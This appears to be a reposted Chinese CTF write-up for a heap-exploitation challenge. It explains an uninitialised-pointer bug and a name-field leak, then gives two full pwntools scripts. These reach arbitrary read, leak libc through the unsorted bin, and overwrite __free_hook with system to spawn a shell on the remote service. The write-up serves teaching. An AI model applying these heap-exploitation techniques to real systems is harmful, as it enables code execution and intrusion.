内容简介:保护几乎全开
程序分析
checksec
保护几乎全开
数据结构
- bucket是一个如下结构的结构体,用单链表串联。根据bucket中的slot数(slot_count),bucket的大小也会变化,slot指针也会变化。
- slot是malloc出来的char数组,其大小不做记录,只用于初始化。
- 全局有一个globalp指针指向根bucket,也有一个currentp指针指向当前操作的bucket
struct bucket{ bucket* next; int64 slot_count; char[16] bucket_name; char* slot0; char* slot1; ... }
程序结构
初始化了2个bucket,其中第一个FLAG就在第一个bucket的slot中;第二个FLAG需要getshell获得
操作bucket
在open_bucket后才可以操作slot
寻找漏洞
观察free,无论是drop_bucket还是drop_data,free后指针被清0,没有UAF漏洞
- 漏洞点1:在make_bucket时,如果传入size of slot content大小为0,则会跳过对slot指针的赋值。也就是该数据块原来是什么就还是什么,于是想到让这个部分设置为我们希望读取/修改内存的指针,就可以实现任意地址读、写。
- 漏洞点2:输入bucket_name的函数没有在结尾强制加x00,可以让name为16个a,就会与slot0指针接上。list_bucket就会泄露出slot0地址。
FLAG1
make_bucket(1,"a"*16,[10],["bbb"])
溢出堆指针,计算 FLAG1(内存)的地址
但是注意,如果flag1_addr中有0xa(n)时,会被替换为00,所以要重试
构造一个大小和bucket一样的slot,利用slot布局好内存,设置某个位置为flag1的指针
然后drop_data回到fastbin,等再make_bucket时,这块内存将作为bucket内存
此时原来的flag1还在
利用传入Size of content为0,避免对这块内存赋值,但是此时slot_count为1,在show_data中读取到内存中的FLAG。
完整payload
#!/usr/bin/env python2 # -*- coding:utf8 -*- import struct from pwn import * from pwnlib.util.proc import wait_for_debugger # context(os='linux', arch='amd64', log_level='debug') #i386 or amd64 #用python xxx.py elf 1调用远程 local = len(sys.argv) == 2 elf = ELF(sys.argv[1]) if local: io = process(sys.argv[1],env={"FLAG1":"flag{env}"}) else: io = remote("hackme.inndy.tw", 7722) def make_bucket(slot_count,name,csize,cs): io.sendlineafter("What to do","1") io.sendlineafter("Size of bucket",str(slot_count)) io.sendlineafter("Name of bucket",name) for i in range(slot_count): io.sendlineafter("Size of content",str(csize[i])) if (csize[i]!=0): io.sendafter("Content of slot",cs[i]) def list_bucket(): io.sendlineafter("What to do","2") def find_bucket(name): io.sendlineafter("What to do","3") io.sendlineafter("Bucket name to find",name) def drop_bucket(): io.sendlineafter("What to do","5") def open_bucket(): io.sendlineafter("What to do","6") def show_data(): io.sendlineafter("What to do","1") def rename(name): io.sendlineafter("What to do","4") def drop_data(idx): io.sendlineafter("What to do","3") io.sendlineafter("Which line of data",str(idx)) def close_bucket(): io.sendlineafter("What to do","5") make_bucket(1,"a"*16,[10],["bbb"]) #name溢出堆指针,计算 FLAG1(内存)的地址 list_bucket() io.recvuntil("a"*16) c = io.recvuntil("";",drop=True) slot1 = u64(c.ljust(8,'x00')) success("slot1 : %x"%slot1) flag1_addr = slot1 - 224 success("flag1_addr : %x"%flag1_addr) fs = "%x"%flag1_addr if "0a" in fs: success("0a in address! Try again!") exit() make_bucket(1,"ccc",[40],["d"*32+p64(flag1_addr)]) open_bucket() drop_data(0) close_bucket() make_bucket(1,"eee",[0],['']) open_bucket() show_data() io.interactive()
FLAG2
上述过程可以实现任意地址读,但是由于slot的编辑(edit_data)会用strlen判断原来slot的大小,所以如果要实现任意地址写,则需要用rename函数来修改bucket的name字段。
由于程序保护几乎全开,尤其RELRO限制了改不了got表,就改__free_hook
- 套路1:利用FLAG1同样的方法,获取堆地址,确定bucket2的地址
- 套路2:利用“利用unsorted bin获得main_arena地址”的套路吗,获取main_arena地址进而获得libc地址
make_bucket(4,"aaaa",[0x80,0x80,0x80,0x80],["bbbb","cccc","dddd","eeee"]) open_bucket() drop_data(0) drop_data(2) close_bucket() make_bucket(2,"f"*16,[0x80,0x80],["g"*8,"hhhh"])
与FLAG1同样的套路构造内存,这次是让bucket3->slot0=bucket2
make_bucket(2,"bucket2",[40,8],["d"*32+p64(bucket2),"/bin/shx00"]) open_bucket() drop_data(0) #带有bucket2指针的块进入fastbin close_bucket() make_bucket(1,"bucket3",[0],['']) open_bucket()
先利用edit_data函数,修改slot对应的内存
free_hook_addr = libc.symbols["__free_hook"] - 0x10 #可以修改的地方在0x10处 data = p64(free_hook_addr).rstrip("x00") csize = len(data) success("free_hook size: %d"%csize) success("__free_hook - 0x10 : %x"%free_hook_addr) edit_data(0,csize,data) #将bucket2->next改成指向想要的目标(伪bucket) close_bucket()
此时locked->bucket1->bucket2->fake bucket
利用next_bucket函数进入fake_bucket,用rename函数修改fake_bucket的字段(之所以用rename而不是edit_data是因为edit_data修改的长度会根据原来内容strlen的结果,free_hook这里原来是NULL,所以不能改长;而rename则只限制32长度,满足要求)
find_bucket("bucket2") next_bucket() #进入到伪bucket,修改名字 open_bucket() system_addr = libc.symbols["system"] success("system_addr : %x"%system_addr) rename(p64(system_addr)) # close_bucket()
free掉有/bin/sh那块内存,触发__free_hook
find_bucket("bucket2") open_bucket() drop_data(1) #free掉有/bin/sh那块内存,触发__free_hook
完整的payload
#!/usr/bin/env python2 # -*- coding:utf8 -*- import struct from pwn import * from pwnlib.util.proc import wait_for_debugger context(os='linux', arch='amd64', log_level='debug') #i386 or amd64 #用python xxx.py elf 1调用远程 local = len(sys.argv) == 2 elf = ELF(sys.argv[1]) if local: io = process(sys.argv[1],env={"FLAG1":"flag{env}"}) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #64bit main_arena_offset = 3951392 else: io = remote("hackme.inndy.tw", 7722) libc = ELF("libc-2.23.so.x86_64") main_arena_offset = 0x3C3B20 def make_bucket(slot_count,name,csize,cs): io.sendlineafter("What to do","1") io.sendlineafter("Size of bucket",str(slot_count)) io.sendlineafter("Name of bucket",name) for i in range(slot_count): io.sendlineafter("Size of content",str(csize[i])) if (csize[i]!=0): io.sendafter("Content of slot",cs[i]) def list_bucket(): io.sendlineafter("What to do","2") def find_bucket(name): io.sendlineafter("What to do","3") io.sendlineafter("Bucket name to find",name) def drop_bucket(): io.sendlineafter("What to do","5") def open_bucket(): io.sendlineafter("What to do","6") def show_data(): io.sendlineafter("What to do","1") def edit_data(idx,size,data): io.sendlineafter("What to do","2") io.sendlineafter("Which line of data",str(idx)) io.sendlineafter("Size of new content",str(size)) io.sendafter("New content", data) def rename(name): io.sendlineafter("What to do","4") io.sendlineafter("New bucket name",name) def drop_data(idx): io.sendlineafter("What to do","3") io.sendlineafter("Which line of data",str(idx)) def close_bucket(): io.sendlineafter("What to do","5") def next_bucket(): io.sendlineafter("What to do","4") make_bucket(4,"aaaa",[0x80,0x80,0x80,0x80],["bbbb","cccc","dddd","eeee"]) open_bucket() drop_data(0) drop_data(2) close_bucket() make_bucket(2,"f"*16,[0x80,0x80],["g"*8,"hhhh"]) #name溢出堆指针,获得bucket2的地址 list_bucket() io.recvuntil("f"*16) c = io.recvuntil("";",drop=True) slot = u64(c.ljust(8,'x00')) success("slot : %x"%slot) bucket2 = slot - 368 + 0x50 success("bucket2 : %x"%bucket2) #利用unsorted bin获得main_arena地址,从而获得libc基地址 open_bucket() show_data() io.recvuntil("g"*8) bk = u64(io.recvuntil("nRow[",drop=True).ljust(8,'x00')) main_arena = bk - 216 success("main_arena : %x"%main_arena) libc.address = main_arena - main_arena_offset success("libc.address : %x"%libc.address) close_bucket() #恢复环境,清空(fastbin里面还有) drop_bucket() find_bucket("aaaa") drop_bucket() #locked->bucket1 find_bucket("/home/ctf/flag") #构造一个bucket2 make_bucket(2,"bucket2",[40,8],["d"*32+p64(bucket2),"/bin/shx00"]) #locked->bucket1->bucket2 open_bucket() drop_data(0) #带有bucket2指针的块进入fastbin close_bucket() #从fastbin中获取到刚才free掉的块 #bucket2->next = bucket3 #locked->bucket1->bucket2->bucket3(bucket3->slot0=bucket2) make_bucket(1,"bucket3",[0],['']) open_bucket() free_hook_addr = libc.symbols["__free_hook"] - 0x10 #可以修改的地方在0x10处 data = p64(free_hook_addr).rstrip("x00") csize = len(data) success("free_hook size: %d"%csize) success("__free_hook - 0x10 : %x"%free_hook_addr) edit_data(0,csize,data) #将bucket2->next改成指向想要的目标(伪bucket) close_bucket() #locked->bucket1->bucket2->fake bucket find_bucket("bucket2") next_bucket() #进入到伪bucket,修改名字 open_bucket() system_addr = libc.symbols["system"] success("system_addr : %x"%system_addr) rename(p64(system_addr)) # close_bucket() find_bucket("bucket2") open_bucket() drop_data(1) #free掉有/bin/sh那块内存,触发__free_hook io.interactive()
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。